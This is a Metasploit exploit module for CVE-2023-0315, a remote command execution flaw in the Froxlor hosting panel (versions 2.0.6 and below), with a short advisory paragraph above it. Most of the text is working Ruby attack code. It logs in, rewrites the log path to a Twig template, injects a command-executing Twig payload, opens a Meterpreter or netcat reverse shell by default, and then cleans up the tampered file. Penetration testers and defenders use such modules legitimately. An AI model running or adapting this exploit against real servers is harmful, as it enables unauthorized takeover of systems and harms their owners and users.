Froxlor 2.0.6 Remote Command Execution

Froxlor versions 2.0.6 and below suffer from a bug that allows authenticated users to change the application logs path to any directory on the OS level which the user www-data can write without restrictions from the backend which leads to writing a malicious Twig template that the application will render. That leads to remote command execution under the user www-data.


SHA-256 | a4048c5b1f41c4347f4543f9ad125a92d70622eb396c52b2aaf555132f774674

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Froxlor Log Path RCE',
'Description' => %q{
Froxlor v2.0.6 and below suffer from a bug that allows authenticated users to change the application logs path
to any directory on the OS level which the user www-data can write without restrictions from the backend which
leads to writing a malicious Twig template that the application will render. That will lead to achieving a
remote command execution under the user www-data.
},
'Author' => [
'Askar', # discovery
'jheysel-r7' # module
],
'References' => [
[ 'URL', 'https://shells.systems/author/askar/'],
[ 'CVE', '2023-0315']
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Linux ',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => ['wget'],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
'DisclosureDate' => '2023-01-29'
)
)

register_options(
[
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']),
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', '']),
OptString.new('TARGETURI', [true, 'The base path to the vulnerable Froxlor instance', '/froxlor']),
OptString.new('WEB_ROOT', [true, 'The webroot ', '/var/www/html'])
]
)
end

def login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'keep_cookies' => true,
'vars_post' => {
'loginname' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'send' => 'send',
'dologin' => ''
}
)

if res && (res.code == 302 && res.headers.include?('Location') && res.headers['Location'] == 'admin_index.php')
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/admin_index.php'),
'keep_cookies' => true
)
print_good('Successful login')
true
else
false
end
end

def check
begin
@authenticated = login
rescue InvalidRequest, InvalidResponse => e
return Exploit::CheckCode::Unknown("Failed to authenticate to Froxlor: #{e.class}, #{e}")
end

version_url = '/lib/ajax.php?action=updatecheck&theme=Froxlor'
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, version_url),
'keep_cookies' => true
)

if res.nil? || res.code != 200
Exploit::CheckCode::Unknown("Failed to retrieve version info from #{normalize_uri(target_uri.path, version_url)}")
else
version = res.get_html_document.at('body/span/text()')
if version
if Rex::Version.new('2.0.6') >= Rex::Version.new(version)
Exploit::CheckCode::Appears("Vulnerable version found: #{version}")
end
else
Exploit::CheckCode::Detected("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")
end
end
end

def get_csrf_token(url)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, url),
'keep_cookies' => true
)

fail_with(Failure::UnexpectedReply, "Failed to get csrf token from #{normalize_uri(target_uri.path, url)}") unless (!res.nil? || res.code == 200)
csrf_token = res.get_html_document.at('//input[@name="csrf_token"]/@value')&.text
fail_with(Failure::UnexpectedReply, "No CSRF token found when querying #{normalize_uri(target_uri.path, url)}.") unless csrf_token
print_good("CSRF token is : #{csrf_token}")
csrf_token
end

def change_log_path(new_logfile)
mime = Rex::MIME::Message.new
mime.add_part('0', nil, nil, 'form-data; name="logger_enabled"')
mime.add_part('1', nil, nil, 'form-data; name="logger_enabled"')
mime.add_part('2', nil, nil, 'form-data; name="logger_severity"')
mime.add_part('file', nil, nil, 'form-data; name="logger_logtypes[]"')
mime.add_part(new_logfile, nil, nil, 'form-data; name="logger_logfile"')
mime.add_part('0', nil, nil, 'form-data; name="logger_log_cron"')
mime.add_part(@csrf_token, nil, nil, 'form-data; name="csrf_token"')
mime.add_part('overview', nil, nil, 'form-data; name="page"')
mime.add_part('', nil, nil, 'form-data; name="action"')
mime.add_part('send', nil, nil, 'form-data; name="send"')

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin_settings.php?'),
'vars_get' => { 'page' => 'overview', 'part' => 'logging' },
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)

if res && res.code == 200 && res.body.include?('The settings have been successfully saved')
return true
end

false
end

def execute_command(cmd, _opts = {})
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin_index.php'),
'keep_cookies' => true,
'vars_post' => {
'theme' => "{{['#{cmd}']|filter('exec')}}",
'csrf_token' => @csrf_token,
'page' => 'change_theme',
'send' => 'send',
'dosave' => ''
}
)

if res && res.code == 302 && res.headers['Location']
if res.headers['Location'] == 'admin_index.php'
print_good('Injected payload successfully')
print_status("Changing log path back to default value while triggering payload: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")
change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")
end
else
print_error('did not inject payload successfully')
end
end

def exploit
fail_with(Failure::NoAccess, 'Failed to login') unless @authenticated || login
@csrf_token = get_csrf_token('/admin_settings.php?page=overview&part=logging')

if change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
print_good("Changed logfile path to: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
else
print_error('Please enter valid target')
end
else
fail_with(Failure::UnexpectedReply, 'Failed to change the log path. The target might not be exploitable')
end
end

def on_new_session(session)
super
# Original footer.html.twig file
footer_html_twig = <<~EOF
<footer class="text-center mb-3">
<span>
<img src="{{ basehref|default("") }}templates/Froxlor/assets/img/logo_grey.png" alt="Froxlor"/>
{% if install_mode is not defined %}
{% if (get_setting('admin.show_version_login') == '1'
and area == 'login') or (area != 'login'
and get_setting('admin.show_version_footer') == '1') %}
{{ call_static('\\Froxlor\\Froxlor', 'getFullVersion') }}
{% endif %}
{% endif %}
&copy; 2009-{{ "now"|date("Y") }} by <a href="https://www.froxlor.org/" rel="external" target="_blank">the Froxlor Team</a><br>
{% if install_mode is not defined %}
{% if (get_setting('panel.imprint_url') != '') %}<a href="{{ get_setting('panel.imprint_url') }}" target="_blank" class="footer-link">{{ lng('imprint') }}</a>{% endif %}
{% if (get_setting('panel.terms_url') != '') %}<a href="{{ get_setting('panel.terms_url') }}" target="_blank" class="footer-link">{{ lng('terms') }}</a>{% endif %}
{% if (get_setting('panel.privacy_url') != '') %}<a href="{{ get_setting('panel.privacy_url') }}" target="_blank" class="footer-link">{{ lng('privacy') }}</a>{% endif %}
{% endif %}
</span>

{% if lng('translator') %}
<br/>
<small class="mt-3">{{ lng('panel.translator') }}: {{ lng('translator') }}</small>
{% endif %}
</footer>
EOF
if session.type == 'meterpreter'
print_status('Deleting tampered footer.html.twig file')
filename = "#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig"
session.fs.file.rm(filename)
fd = session.fs.file.new(filename, 'wb')
print_status('Rewriting clean footer.html.twig file')
fd.write(footer_html_twig)
fd.close
else
print_status('Cleaning tampered footer.html.twig file')
# Remove all log lines added to footer.html.twig by the exploit
# (all log lines start with an opening square bracket ex: [2023-02-16 09:08:28] froxlor.INFO: [API] ...)
session.shell_command_token("sed '/^\\[/d' #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig > #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")
session.shell_command_token("mv -f #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
session.shell_command_token("rm #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")
end
end
end

Related Posts